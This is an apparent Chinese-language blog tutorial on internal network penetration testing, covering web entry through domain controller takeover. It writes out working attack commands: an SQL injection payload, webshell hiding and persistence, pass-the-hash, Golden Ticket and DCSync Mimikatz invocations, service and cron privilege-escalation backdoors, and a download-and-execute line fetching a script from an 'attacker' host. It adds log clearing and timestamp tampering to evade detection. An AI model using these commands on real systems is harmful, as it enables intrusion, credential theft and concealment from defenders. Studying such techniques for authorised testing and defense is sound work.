1. 项目概述
作为一名在网络安全领域摸爬滚打多年的老兵,我深知内网渗透测试在企业安全防护中的重要性。这次我想分享一套完整的内网渗透实战方法论,从最基础的Web入侵开始,到最终获取域控权限的全过程。这不是纸上谈兵的理论,而是经过数十次真实渗透测试验证的实战经验总结。
内网渗透的本质是通过层层递进的攻击手法,逐步扩大在目标网络中的控制范围。与单纯的Web渗透不同,内网渗透更注重横向移动和权限提升,需要综合运用多种技术手段。下面我将从攻击者视角,详细拆解每个关键环节的技术细节和实战技巧。
2. 核心思路与技术路线
2.1 整体攻击链设计
一个标准的内网渗透流程通常包含以下阶段:
- 初始突破点获取(通常通过Web应用漏洞)
- 内网信息收集与网络拓扑测绘
- 横向移动技术实施
- 权限提升与持久化控制
- 域环境渗透与域控获取
这个过程中,每个阶段都需要根据目标环境灵活调整战术。比如在金融行业的内网中,通常会遇到严格的主机防护和网络隔离,而在制造业网络中可能更多需要考虑工业控制系统的特殊性。
2.2 关键技术选型考量
选择具体技术方案时需要考虑以下因素:
- 目标系统环境(Windows/Linux/混合网络)
- 网络隔离情况(是否有多层VLAN划分)
- 安全防护强度(EDR/杀软/防火墙规则)
- 业务系统特性(Web应用/数据库/文件服务器)
例如,在遇到Windows域环境时,我会优先考虑基于Kerberos协议的攻击手法;而在Linux环境中,则更多关注SUID提权和SSH密钥利用。
3. 详细技术实现与实操
3.1 Web应用突破阶段
3.1.1 常见Web漏洞利用
从Web端突破是最常见的初始攻击向量。在实际测试中,我遇到最多的是以下漏洞类型:
- SQL注入:
sql复制' UNION SELECT 1,2,3,4,CONCAT(username,':',password) FROM users--
注意:现代WAF通常会拦截这类简单payload,需要配合混淆和编码技术绕过
- 文件上传漏洞:
- 绕过前端验证:修改Content-Type为image/jpeg
- 绕过黑名单:使用.htaccess文件或特殊扩展名(.php5)
- 利用解析漏洞(IIS6.0分号截断等)
- 反序列化漏洞:
- Java反序列化(CommonsCollections系列)
- PHP反序列化(__wakeup魔术方法利用)
- .NET反序列化(ViewState篡改)
3.1.2 获取Webshell的技巧
获取稳定控制权是后续渗透的基础,我常用的方法包括:
- 基础Webshell选择:
- PHP:使用加密的微型马(100行以内)
- ASPX:使用aspxspy这类多功能马
- JSP:优先考虑内存马注入
- 隐蔽性处理:
- 设置非常规路径(/images/logo.php)
- 修改文件时间为系统文件时间戳
- 添加垃圾代码混淆特征
- 权限维持:
- 安装隐藏的后门插件(WordPress/Discuz等)
- 修改现有脚本文件插入后门代码
- 创建计划任务定期下载执行payload
3.2 内网信息收集技术
3.2.1 主机信息收集
一旦获得立足点,立即开展全面信息收集:
powershell复制# Windows系统信息
systeminfo
net config workstation
net localgroup administrators
# 网络配置
ipconfig /all
route print
arp -a
# 用户会话
query user
net session
3.2.2 网络拓扑探测
使用ICMP/TCP/UDP多种方式探测内网:
bash复制# 快速扫描C段
for i in {1..254}; do ping -c 1 -W 1 192.168.1.$i | grep "bytes from"; done
# 端口扫描技巧
nc -zv 192.168.1.100 1-1024 2>&1 | grep succeeded
3.2.3 域环境识别
判断是否在域中及定位域控:
powershell复制nltest /domain_trusts
nslookup -type=SRV _ldap._tcp.dc._msdcs
net group "Domain Controllers" /domain
3.3 横向移动技术详解
3.3.1 凭证获取与利用
- 密码抓取工具:
- Mimikatz(需绕过杀软)
- LaZagne(多语言支持)
- Procdump+本地分析(规避内存扫描)
- 哈希传递攻击:
bash复制psexec.py -hashes :NTLM_HASH DOMAIN/user@target
- 票据伪造:
powershell复制Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:demo.com /sid:S-1-5-21-... /krbtgt:hash /ticket:admin.kirbi"'
3.3.2 利用服务漏洞横向
- SMB漏洞利用:
- EternalBlue(MS17-010)
- SMBGhost(CVE-2020-0796)
- RDP漏洞:
- BlueKeep(CVE-2019-0708)
- RDP劫持(TSMSISrv漏洞)
- WinRM利用:
powershell复制$cred = New-Object System.Management.Automation.PSCredential ("user", (ConvertTo-SecureString "pass" -AsPlainText -Force))
Invoke-Command -ComputerName target -Credential $cred -ScriptBlock {whoami}
3.4 权限提升技巧
3.4.1 Windows提权
- 服务提权:
- 检查可写服务路径:
powershell复制Get-WmiObject win32_service | Select-Object Name,PathName | Where-Object {$_.PathName -like "* *"}
- 利用不安全的服务权限:
cmd复制sc config VulnService binPath= "C:\Windows\System32\cmd.exe /k net localgroup administrators user /add"
- DLL劫持:
- 使用Procmon查找DLL加载顺序
- 制作恶意DLL放置在高优先级路径
- 令牌模拟:
powershell复制Invoke-TokenManipulation -ImpersonateUser -Username "DOMAIN\Admin"
3.4.2 Linux提权
- SUID提权:
bash复制find / -perm -4000 -type f 2>/dev/null
- 内核漏洞:
- DirtyCow(CVE-2016-5195)
- Sudo提权(CVE-2021-3156)
- 定时任务劫持:
bash复制echo 'chmod 4755 /bin/bash' > /etc/cron.hourly/exploit
3.5 域控获取终极目标
3.5.1 域管理员定位
- 查询域管理员组:
powershell复制net group "Domain Admins" /domain
- 查找域管理员登录的主机:
powershell复制Invoke-UserHunter -GroupName "Domain Admins"
3.5.2 域控攻击手法
- DCSync攻击:
powershell复制Invoke-Mimikatz -Command '"lsadump::dcsync /user:Administrator /domain:demo.com"'
- Golden Ticket攻击:
powershell复制Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:demo.com /sid:S-1-5-21-... /krbtgt:hash /ptt"'
- MS14-068漏洞:
bash复制python ms14-068.py -u user@demo.com -p password -s SID -d dc.demo.com
4. 防御对抗与隐蔽技巧
4.1 规避安全检测
- 日志清理:
powershell复制Clear-EventLog -LogName Security
- 内存注入:
bash复制meterpreter > migrate 564
- 无文件攻击:
powershell复制IEX (New-Object Net.WebClient).DownloadString('http://attacker/script.ps1')
4.2 痕迹清理指南
- 操作历史清理:
bash复制history -c
- 文件时间戳修改:
powershell复制(Get-Item exploit.exe).LastWriteTime = (Get-Date)
- 元数据清除:
bash复制exiftool -all= document.pdf
5. 实战经验与避坑指南
5.1 常见问题解决
- 遇到杀软拦截:
- 使用自定义编码器
- 分段传输payload
- 利用合法进程注入
- 网络隔离情况:
- 搭建多级跳板
- 使用DNS隧道
- 利用Web代理通道
- 权限丢失问题:
- 建立多个持久化后门
- 获取多台主机控制权
- 记录所有获取的凭证
5.2 效率提升技巧
- 自动化工具链:
- 使用Cobalt Strike团队服务器
- 编写自定义PowerShell模块
- 建立自动化扫描任务
- 信息管理:
- 使用Keepass管理凭证
- 绘制网络拓扑图
- 记录关键系统配置
- 时间控制:
- 避开业务高峰时段
- 设置操作时间窗口
- 使用延迟执行机制
在内网渗透的实际操作中,最大的挑战往往不是技术本身,而是如何根据目标环境的特点灵活调整战术。每次渗透测试都是一次全新的挑战,需要不断学习和适应新的防御措施。记住,真正的专业渗透测试人员不仅要会攻击,更要理解防御原理,这样才能提出切实有效的安全改进建议。